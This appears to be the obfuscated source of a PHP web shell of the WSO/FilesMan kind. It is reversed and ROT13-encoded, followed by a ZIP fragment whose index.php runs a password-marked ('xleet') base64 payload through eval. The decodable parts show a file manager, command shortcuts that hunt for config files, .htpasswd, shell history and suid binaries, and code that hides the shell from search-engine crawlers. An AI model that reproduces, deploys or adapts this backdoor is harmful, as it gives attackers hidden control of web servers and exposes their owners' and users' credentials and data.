)'>gabs/<>o/<SSB>o<>arret=ebybp gabs<':'>gabs/<AB>qre=ebybp gabs<'?]'rqbz_rsnf'[FYNOBYT$( . ' >ancf/<:rqbz rsnF>ancf< ' . )(abvfericuc@ . '>eo<) ' . chbet$ . ' ( ' . qvt$ . ' >ancf/<:chbeT>ancf< ) ' . erfh$ . ' ( ' . qvh$ . '>eo<>eoba/<' . )021 ,0 ,)(rznah_cuc@(egfohf . '>eoba<>qg<' .       
'>qg/<>ancf/<' . )'':':friveQ>eo<'?'avj' == ]'fb'[FYNOBYT$( . ':qjP>eo<:qqU>eo<:cuC>eo<:erfH>eo<:rznaH>ancf<>1=ugqvj qg<>eg<>%001=ugqvj 0=tavpncfyyrp 3=tavqqncyyrp bsav=ffnyp ryong<' bupr	
}	
;' >n/<] '.riveq$.' [>")'\/:'.riveq$.''\,'\anZfryvS'\(t"=xpvypab "#"=sreu n<' =. friveq$			
))'\\:'.riveq$(evq_fv(sv		
)riveq$ fn )'m','p'(rtane(upnrebs		
{ )'avj' == ]'fb'[FYNOBYT$(sv	
;"" = friveq$	
}	
}		
;'>ug/<] >n/<'.x$.'>")'\'\,'\'\,'\'\,yyha,'\'.i$.''\(t"=xpvypab "#"=sreu n< [>"%'.))z$(gahbp/001()gav(.'"=ugqvj ug<' =. harz$			
{rfyr}		
;'>ug/<] >n/<>gabs/<'.x$.'>"00ss52#"=ebybp gabs<>")'\'\,'\'\,'\'\,yyha,'\'.i$.''\(t"=xpvypab "#"=sreu n< [>"%'.))z$(gahbp/001()gav(.'"=ugqvj ug<' =. harz$			
{)'rqnetCH/rgnqCH' == x$(sv		
{)i$ >= x$ fn z$(upnrebs	
;'' = harz$	
;'ribzrEsyrF' = ]'ribzre syrF'[z$	
;'ghbtbY' = ]'ghbtbY'[z$		
))]'ffnc_ughn'[FYNOBYT$(lgczr!(sv	
;)'xebjgrA'>='xebjgrA','rpebsrgheO'>='rpebsrgheO','fybbGtavegF'>='fybbg tavegF' ,'cuC'>='cuC' ,'rgnQCH' >= 'rqnetCH/rgnqCH' ,'ydF'>='ydF','rybfabP'>='rybfabP' ,'anZfryvS'>='fryvS','bsaVprF'>='bsaV .prF'(lneen = z$	

;'>abvgcb/<'.zrgv$.'>'.)'':'qrgpryrf'?zrgv$==]'grfenup'[GFBC_$(.' "'.zrgv$.'"=rhyni abvgcb<' =. fgrfenup_gcb$		
)zrgv$ fn fgrfenup$(upnrebs	
;'' = fgrfenup_gcb$	
;)'668cp' ,'H-8VBX' ,'E-8VBX' ,'1521-fjbqavJ' ,'8-SGH'(lneen = fgrfenup$	

}	
;">n/</".]v$[ugnc$.">')"\" =. fxavy_qjp$		
;'/'.]w$[ugnc$ =. fxavy_qjp$			
)++w$ ;v$=<w$ ;0=w$(ebs		
;""\,"\anZfryvS"\(t'=xpvypab '#'=sreu n<" =. fxavy_qjp$		
{ )++v$ ;1-a$<v$ ;0=v$(ebs	
;)ugnc$(gahbp=a$	
;)]'qjp'[FYNOBYT$ ,"/"(rqbyckr = ugnc$	
;'' = fxavy_qjp$	

}	
;]'qvt'[qvt$ = qvt$		
;]'rzna'[qvt$ = chbet$		
;]'qvh'[qvh$ = qvh$		
;]'rzna'[qvh$ = erfh$		
;))(qvtrgrt_kvfbc(qvtetgrt_kvfbc@ = qvt$		
;))(qvhrgrt_kvfbc(qvhjcgrt_kvfbc@ = qvh$		
{ rfyr }	
;"?" = chbet$		
;)(qvtlzgrt@ = qvt$		
;)(qvhlzgrt@ = qvh$		
;)(erfh_gareehp_grt@ = erfh$		
{ ))'qvtrgrt_kvfbc'(fgfvkr_abvgpahs!(sv	
;)'f'(rznah_cuc@ = yraerx$	
;)'e'(rznah_cuc@ = rfnryre$	
;1:rpncFyngbg$?rpncFyngbg$ = rpncFyngbg$	
;)]'qjp'[FYNOBYT$(rpncf_yngbg_xfvq@ = rpncFyngbg$	
;)]'qjp'[FYNOBYT$(rpncfrresxfvq@ = rpncFrres$	
;">zebs/<
>grfenup=rzna arqqvu=rclg ghcav<
>3c=rzna arqqvu=rclg ghcav<
>2c=rzna arqqvu=rclg ghcav<
>1c=rzna arqqvu=rclg ghcav<
>p=rzna arqqvu=rclg ghcav<
>n=rzna arqqvu=rclg ghcav<
>';raba:lnycfvq'=rylgf sz=rzna gfbc=qbugrz zebs<
>';0:gsry;0:cbg;444#:ebybp-qahbetxpno;%001:ugqvj;rghybfon:abvgvfbc'=rylgf ivq<>lqbo<>qnru<
>gcvepf/<
}	
;)'!ebeer gfrhdrE'(geryn rfyr }			
;))]1[een ,0(egfohf.]2[een(ynir				
;)gkrGrfabcfre.dre(prkr.tre=een eni				
;)'z' ,"\)*]f\\\\F\\\\[()+q\\\\("\(ckRtrE jra = tre eni				
{ )002 == fhgngf.dre(sv			
) )4 == rgngFlqnre.dre( (sv		
{ )(rtanuPdrEffrpbec abvgpahs	
}	
}        
;)fznenc(qarf.dre            
;)'qrqbparyeh-zebs-jjj-k/abvgnpvyccn' ,'rclG-gargabP'( erqnrUgfrhdrEgrf.dre            
;)rheg ,yeh ,'GFBC'(arcb.dre            
;rtanuPdrEffrpbec = rtanuprgngflqnreab.dre            
{ )dre( sv        
;)'CGGUYZK.gsbfbepvZ'(gprwoBKrivgpN jra = dre			
)gprwoBKrivgpN.jbqavj( sv rfyr		
;)(gfrhdrEcggUYZK jra = dre			
)gfrhdrEcggUYZK.jbqavj( sv		
{ )fznenc ,yeh(ef abvgpahs	
}	
;)fznenc ,'". )]'VEH_GFRHDRE'[ERIERF_$(frufnyfqqn . "'(ef		
;)rhyni.]v[fgarzryr.sz.q(garabczbPVEHrqbpar+'='+rzna.]v[fgarzryr.sz.q+'&' =+ fznenc			
)++v;ugtary.fgarzryr.sz.q<v;0=v(ebs		
;'rheg=knwn' = fznenc eni		
;)grfenup,3c,2c,1c,p,n(grf		
{ )grfenup,3c,2c,1c,p,n(n abvgpahs	
}	
;)(gvzohf.sz.q		
;)grfenup,3c,2c,1c,p,n(grf		
{ )grfenup,3c,2c,1c,p,n(t abvgpahs	
}	
;_grfenup=rhyni.grfenup.sz.q rfyr;grfenup=rhyni.grfenup.sz.q)yyha=!grfenup(sv//		
;_grfenup=rhyni.grfenup.sz.q rfyr;grfenup=rhyni.grfenup.sz.q)yyha=!grfenup(sv		
;_3c=rhyni.3c.sz.q rfyr;3c=rhyni.3c.sz.q)yyha=!3c(sv		
;_2c=rhyni.2c.sz.q rfyr;2c=rhyni.2c.sz.q)yyha=!2c(sv		
;_1c=rhyni.1c.sz.q rfyr;1c=rhyni.1c.sz.q)yyha=!1c(sv		
;_p=rhyni.p.sz.q rfyr;p=rhyni.p.sz.q)yyha=!p(sv		
;_n=rhyni.n.sz.q rfyr;n=rhyni.n.sz.q)yyha=!n(sv		
{ )grfenup,3c,2c,1c,p,n(grf abvgpahs	
;garzhpbq = q eni    
;'". ))FRGBHD_GAR,]'3c'[GFBC_$(fenupynvprcfyzgu:''?)rfyns==!)"a\",]'3c'[GFBC_$@(fbcegf(( . "' = _3c eni    
;'". ))FRGBHD_GAR,]'2c'[GFBC_$(fenupynvprcfyzgu:''?)rfyns==!)"a\",]'2c'[GFBC_$@(fbcegf(( . "' = _2c eni    
;'". ))FRGBHD_GAR,]'1c'[GFBC_$(fenupynvprcfyzgu:''?)rfyns==!)"a\",]'1c'[GFBC_$@(fbcegf(( . "' = _1c eni    
;'". )]'grfenup'[GFBC_$@(fenupynvprcfyzgu . "' = _grfenup eni    
'". )]'n'[GFBC_$@(fenupynvprcfyzgu . "' = _n eni    
;'" . )]'qjp'[FYNOBYT$(fenupynvprcfyzgu . "' = _p eni    
>gcvepf<
>rylgf/<
};rpncfbabZ,ervehbP:lyvzns-gabs{rec
}333#:ebybp-qahbetxpno{2y.
}444#:ebybp-qahbetxpno{1y.
}r5r5r5#:ebybp-qahbetxpno{eribu:eg avnz.
};r5r5r5#:ebybp-qahbetxpno;gsry:atvyn-gkrg{ug avnz.
} kc003 :ugqvj {caVfybbg.
} ;ergarp:atvyn-gkrg {yoGfybbg#
} ;kc0:avtenz {zebs
} ;'jrA ervehbP',rpncfbabZ gc9 :gabs ;ebybp$ qvybf kc1:erqebo;555#:ebybp-qahbetxpno;sss#:ebybp;0:avtenz {gpryrf,nrengkrg,ghcav
} ;kc003:gutvru;%001:ugqvj {nrentvo.
} ;bghn :jbyserib;0:avtenz;kc5:tavqqnc;444# qvybf kc1:erqebo {1yz.
} ;ravyerqah:abvgnebprq-gkrg {eribu:n
} ;raba:abvgnebprq-gkrg {n
} ;333#:ebybp-qahbetxpno;kc5:gsry-avtenz;kc5 :tavqqnc {gargabp.ivq
} ;kc0:avtenz;222#:ebybp-qahbetxpno;nanqerI gc41 :gabs;kc5 kc2 :tavqqnc;ebybp$ qvybf kc5:gsry-erqebo {1u
} ;erqybo :gutvrj-gabs {ancf
} ;gangebczv! ebybp$ :ebybp {n,1u,ancf
} ;222#:ebybp-qahbetxpno;sss#:ebybp {bsav.ryong
} ;1r1r1r#:ebybp;cbg:atvyn-ynpvgeri;0:avtenz;nanqerI,nqvphY gc9 :gabs {ug,qg,lqbo
};1r1r1r#:ebybp;444#:ebybp-qahbetxpno{lqbo
>rylgf<
>rygvg/<". ]'GFBU_CGGU'[ERIERF_$ . ">rygvg<>'" . ]'grfenup'[GFBC_$ . "=grfenup ;yzgu/gkrg'=gargabp 'rclG-gargabP'=ivhdr-cggu ngrz<>qnru<>yzgu<" bupr	
;ebybp$ ynobyt	
;]'grfenup_gyhnsrq'[FYNOBYT$ = ]'grfenup'[GFBC_$		
))]'grfenup'[GFBC_$(lgczr(sv	
{ )(erqnrUbfj abvgpahs

;)	
"ivec rgnpby" >= "fryvs ivec rgnpby"		
,"czhq rgnpby" >= "fryvs czhq rgnpby"		
,"chxpno rgnpby" >= "fryvs chxpno rgnpby"		
,"'peyvnzupgrs.' rgnpby" >= "fryvs peyvnzupgrs. rgnpby"		
,"'lebgfvu_ydflz.' rgnpby" >= "fryvs lebgfvu_ydflz. rgnpby"		
,"'lebgfvu_ufno.' rgnpby" >= "fryvs lebgfvu_ufno. rgnpby"		
,"'qjffncgu.' rgnpby" >= "fryvs qjffncgu. rgnpby"		
,"'ydf.' rgnpby" >= "fryvs ydf. rgnpby"		
,"'qjc.' rgnpby" >= "fryvs qjc. rgnpby"		
,"'sabp.' rgnpby">="fryvs sabp. rgnpby"		
,"tvsabp rgnpby" >= " fryvs *tvsabp rgnpby"		
,"cuc.gyhnsrq.tvsabp rgnpby" >= "fryvs cuc.gyhnsrq.tvsabp rgnpby"		
,"cuc.pav.tvsabp rgnpby" >= "cuc.pav.tvsabp rgnpby"		
,"pav.tvsabp rgnpby" >= "fryvs pav.tvsabp rgnpby"		
,"cuc.tvsabp rgnpby" >= "fryvs cuc.tvsabp rgnpby"		
,"gnq.tvsabp rgnpby" >= "fryvs gnq.tvsabp rgnpby"		
,"cuc.sabp rgnpby" >= "fryvs cuc.sabp rgnpby"		
,"cuc.tsp rgnpby" >= "fryvs cuc.tsp rgnpby"		
,"cuc.avzqn rgnpby">= "fryvs cuc.avzqn rgnpby"		
,"sabp.lz rgnpby" >= "fryvs sabp.lz rgnpby"		
,"sabp.paolfc rgnpby" >= "fryvs sabp.paolfc rgnpby"		
,"sabp.qcgsbec rgnpby" >= "fryvs sabp.qcgsbec rgnpby"		
,"sabp.fgfbui rgnpby" >= "fryvs sabp.fgfbui rgnpby"		
,"sabp.qcggu rgnpby" >= "fryvs sabp.qcggu rgnpby"		  
,"" >= "rgnpbY"		
,"peyvnzupgrs. rzna- s rclg- . qavs" >= "evq gareehp av fryvs peyvnzupgrs. qavs"		  
,"peyvnzupgrs. rzna- s rclg- / qavs" >= "fryvs peyvnzupgrs. yyn qavs"		  
,"lebgfvu_ufno. rzna- s rclg- . qavs" >= "evq gareehp av fryvs lebgfvu_ufno. qavs"		  
,"lebgfvu_ufno. rzna- s rclg- / qavs" >= "fryvs lebgfvu_ufno. yyn qavs"		  
,"qjffncgu. rzna- s rclg- . qavs" >= "evq gareehp av fryvs qjffncgu. qavs"		  
,"qjffncgu. rzna- s rclg- / qavs" >= "fryvs qjffncgu. yyn qavs"		  
,"qjc.rpvierf rzna- s rclg- . qavs" >= "evq gareehp av fryvs qjc.rpvierf qavs"		  
,"qjc.rpvierf rzna- s rclg- / qavs" >= "fryvs qjc.rpvierf yyn qavs"		  
,"fy- 2- zerc- . qavs" >= "evq gareehp av fryvs qan ferqybs ryongvej yyn qavs"		  
,"fy- 2- zerc- / qavs" >= "fryvs qan ferqybs ryongvej yyn qavs"		  
,""\*tvsabp"\ rzna- s rclg- . qavs" >= "evq gareehp av fryvs *tvsabp qavs"		  
,""\*tvsabp"\ rzna- s rclg- / qavs" >= "fryvs *tvsabp qavs"		  
,"cuc.pav.tvsabp rzna- s rclg- / qavs" >= "fryvs cuc.pav.tvsabp qavs"		  
,"fy- 00020- zerc- s rclg- . qavs" >= "evq gareehp av fryvs qvtf qavs"		  
,"fy- 00020- zerc- s rclg- / qavs" >= "fryvs qvtf yyn qavs"		  
,"fy- 00040- zerc- s rclg- . qavs" >= "evq gareehp av fryvs qvhf qavs"		  
,"fy- 00040- zerc- s rclg- / qavs" >= "fryvs qvhf yyn qavs"		  
,"" >= "qavS"		
,"khn fc" >= "fhgngf ffrpbec"        
,"argfvy v- cret | an- gngfgra" >= "fgebc qrarcb jbuf"		  
,"ni- eggnfy" >= "zrgflf ryvs qrqargkr qabprf khavY n ab frghoveggn ryvs gfvy"		
,"nuy- fy" >= "evq gfvY"		  
(lneen = frfnvyn$	
rfyr
;)	
"yyn/ tvsabpcv" >= "abvgnehtvsabP CV"		
,"n- cen" >= "ryonG CEN"		
,"jrvi gra" >= "ferghczbp jbuF"	    
,"erfh gra" >= "fgahbppn erfH"	    
,"gengf gra" >= "frpvierf tavaahe jbuF"	    
,"an- gngfgra" >= "fabvgpraabp rivgpn jbuF"	    
,"cuc.*tvsabp* o/ j/ f/ evq" >= "evq gareehp av cuc.*tvsabp* qavS"	    
,"cuc.krqav o/ j/ f/ evq" >= "evq gareehp av cuc.krqav qavS"	    
,"evq" >= "lebgprevQ gfvY"		
(lneen = frfnvyn$	
)'avj' == fb$(sv

;knwn_rfh_gyhnsrq$)ybbo( = ]'knwn' . )]'GFBU_CGGU'[ERIERF_$(5qz[RVXBBP_$    
))]'knwn' . )]'GFBU_CGGU'[ERIERF_$(5qz[RVXBBP_$(grffv!(sv

;'/' =. qjp$	
)'/' =! ]1-)qjp$(aryegf[qjp$(sv
}
;)qjp$ ,"/" ,"\\"(rpnycre_egf = qjp$	
;)qjp_rzbu$ ,"/" ,"\\"(rpnycre_egf = qjp_rzbu$	
{ )'avj' == fb$(sv
;)(qjpgrt@ = qjp$
;)]'p'[GFBC_$(evqup@	
))]'p'[GFBC_$(grffv(sv
;)(qjpgrt@ = qjp_rzbu$
;)'fabvgpahs_ryonfvq'(grt_vav@ = fabvgpahs_ryonfvq$

;)0(tavgebcre_ebeer    
)rqbz_rsnf$!(sv
;)'rqbz_rsnf'(grt_vav@ = rqbz_rsnf$


;'kva' = fb$	
rfyr
;'avj' = fb$	
)"avj" == ))3,0,FB_CUC(egfohf(erjbybgegf(sv

}
;)i$ ,x$(rvxbbpgrf    
;i$ = ]x$[RVXBBP_$    
{ )i$ ,x$(rvxbbpgrfBFJ abvgpahs

}
}	
;)RVXBBP_$(frufnyfcvegfBFJ = RVXBBP_$		
;)GFBC_$(frufnyfcvegfBFJ = GFBC_$		
}		
;)lneen$(frufnyfcvegf : )lneen$ ,'frufnyfcvegfBFJ'(cnz_lneen ? )lneen$(lneen_fv aehgre			
{ )lneen$(frufnyfcvegfBFJ abvgpahs		
{ ))(pct_frgbhd_pvtnz_grt(sv	
{))"pct_frgbhd_pvtnz_grt"(fgfvkr_abvgpahs(sv

;)'5.2' ,'ABVFERI_BFJ'(ravsrq@
;)0(rzvgahe_frgbhd_pvtnz_grf@	
)00007 < QV_ABVFERI_CUC( sv
;)0(gvzvy_rzvg_grf@
;)0,'rzvg_abvghprkr_knz'(grf_vav@
;)0,'febeer_tby'(grf_vav@
;)YYHA,'tby_ebeer'(grf_vav@

}
}    
;gvkr        
;)'qahbS gbA 404 0.1/CGGU'(erqnru        
{ ))]'GARTN_ERFH_CGGU'[ERIERF_$ ,'v/' . )fgartNerfh$ ,'|'(rqbyczv . '/'(upgnz_trec(sv    
;)"eryoznE" ,"krqanL" ,"erivupen_nv" ,"gbOAFZ" ,"cehyF" ,"rytbbT"(lneen = fgartNerfh$    
{ ))]'GARTN_ERFH_CGGU'[ERIERF_$(lgczr!(sv

;'1521-fjbqavJ' = grfenup_gyhnsrq$
;rheg = knwn_rfh_gyhnsrq$
;'anZfryvS' = abvgpn_gyhnsrq$
;"5sq#" = ebybp$

}
}	
;)tavqbpar_bg$ , FRGBHD_GAR ,)tavqbpar_zbes$ ,FRGBHD_GAR ,tavegf$(frvgvgaryzgu(rqbprq_lgvgar_yzgu aehgre		
{)tavegf$ ,tavqbpar_bg$ ,tavqbpar_zbes$(iabpv abvgpahs	
{ ))'iabpv'(fgfvkr_abvgpahs!( sv
}
}	
;)tavqbpar_zbes$ ,tavqbpar_bg$ ,tavegf$(tavqbpar_geriabp_oz aehgre		
{)tavegf$ ,tavqbpar_bg$ ,tavqbpar_zbes$(iabpv abvgpahs	
{ ))'tavqbpar_geriabp_oz'(fgfvkr_abvgpahs && )'iabpv'(fgfvkr_abvgpahs!( sv
}
}    
;)tavegf$ ,tavqbpar_ghcghb$ ,tavqbpar_ghcav$(iabpvovy aehgre        
{ )tavegf$ ,tavqbpar_ghcghb$ ,tavqbpar_ghcav$(iabpv abvgpahs    
{ ))'iabpvovy'(fgfvkr_abvgpahs && )'iabpv'(fgfvkr_abvgpahs!( sv

')))); ?>PK �k,[kr;� ova/index.phpnu �[��� <?php $▛ = "59e8d97dbcc1d0f65dea6ecd0e9fbe39"; //Pass: xleet $o= "ba"."se"."\x36\x34\x5F"."de"."c"."ode"; eval($o("
$stt1 = "Sy1LzNFQt7dT10uvKs1Lzs8tKEotLtZIr8rMS8tJLElFYiUlFqe\x61m\x63Snp\x43\x62np6RqFJ\x63UF\x61WW\x61\x61gUl5QY\x61IK\x42NQ\x41\x3d";
$stt0 = "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